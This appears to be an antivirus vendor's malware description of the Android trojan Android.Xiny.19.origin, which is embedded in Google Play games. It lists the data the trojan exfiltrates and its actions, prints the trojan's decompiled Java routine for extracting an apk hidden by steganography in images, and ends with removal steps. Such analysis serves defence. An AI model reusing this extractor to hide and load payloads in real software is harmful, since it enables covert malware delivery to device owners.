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Android.Xiny.19.origin

Added to the Dr.Web virus database: 2016-01-29

Virus description added:

SHA1: 6895c3258031b5750ce19aa7b67dd92db313e1be

It is a Trojan for Android devices that is embedded into various games published on Google Play.

Android.Xiny.19.origin sends the following information to the command and control server:

  • IMEI identifier
  • IMSI identifier
  • Information about the mobile operator
  • Presence of a memory card in a device
  • Country
  • Language
  • MAC address
  • Version of the operating system
  • Package name and a version of an application that the Trojan is incorporated into
  • Presence of the malicious application in the system folder

The Trojan can execute the following actions:

  • Displays annoying advertisements
  • Downloads applications and prompts a user to install various software
  • Installs and deletes programs if root access is available on a device
  • Launches arbitrary apk files hidden in images received from the C&C server

The way apk files are launched looks as follows: Android.Xiny.19.origin downloads a specially created image, which contains the corresponding file object hidden with the help of steganography, from the server. Then the Trojan retrieves the apk file using a special algorithm:


Code  Expand source 
package com.wch.c_direct.encrypt.logic;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import com.wch.c_direct.logic.a;
import java.io.InputStream;
import java.util.Arrays;
public final class BitmapDecryptor {
    public static byte[] decrypt(InputStream inputStream) {
        int i5;
        int i = 4;
        int i1 = 8;
        a.a();
        Bitmap bitmap0 = BitmapFactory.decodeStream(inputStream);
        bitmap0.setHasAlpha(true);
        byte[] buffer1 = new byte[i1];
        int i2 = 0;
        int i3 = 0;
        int i4 = 0;
        while(i2 < buffer1.length) {
            i5 = bitmap0.getPixel(i4, i3);
            buffer1[i2] = ((byte)(i5 >> 16 & 15));
            if(i2 + 1 < i1) {
                buffer1[i2 + 1] = ((byte)(i5 >> 8 & 15));
            }
            if(i2 + 2 < i1) {
                buffer1[i2 + 2] = ((byte)(i5 & 15));
            }
            ++i4;
            if(i4 == bitmap0.getWidth()) {
                ++i3;
                i4 = 0;
            }
            i2 += 3;
        }
        byte[] buffer2 = BitmapDecryptor.a(buffer1);
        i2 = 0;
        i3 = 0;
        while(i2 < i) {
            i3 = i3 << 8 | buffer2[i2] & 255;
            ++i2;
        }
        buffer1 = new byte[i3 * 8 / 4];
        i2 = 0;
        i3 = 0;
        i4 = 0;
        while(i2 < buffer1.length) {
            i5 = bitmap0.getPixel(i4, i3);
            buffer1[i2] = ((byte)(i5 >> 16 & 15));
            if(i2 + 1 < buffer1.length) {
                buffer1[i2 + 1] = ((byte)(i5 >> 8 & 15));
            }
            if(i2 + 2 < buffer1.length) {
                buffer1[i2 + 2] = ((byte)(i5 & 15));
            }
            ++i4;
            if(i4 == bitmap0.getWidth()) {
                ++i3;
                i4 = 0;
            }
            i2 += 3;
        }
        byte[] decrypted = BitmapDecryptor.a(buffer1);
        bitmap0.recycle();
        return Arrays.copyOfRange(decrypted, i, decrypted.length);
    }
    private static byte[] a(byte[] inBuffer) {
        a.a();
        byte[] outBuffer = new byte[inBuffer.length / 2];
        int i;
        for(i = 0; i < outBuffer.length; ++i) {
            int i1;
            for(i1 = 0; i1 < 2; ++i1) {
                outBuffer[i] = ((byte)(outBuffer[i] << 4 | inBuffer[i * 8 / 4 + i1]));
            }
        }
        return outBuffer;
    }
}

After that, the malicious application loads the file into RAM of the infected device using the DexClassLoader class.

News about the Trojan

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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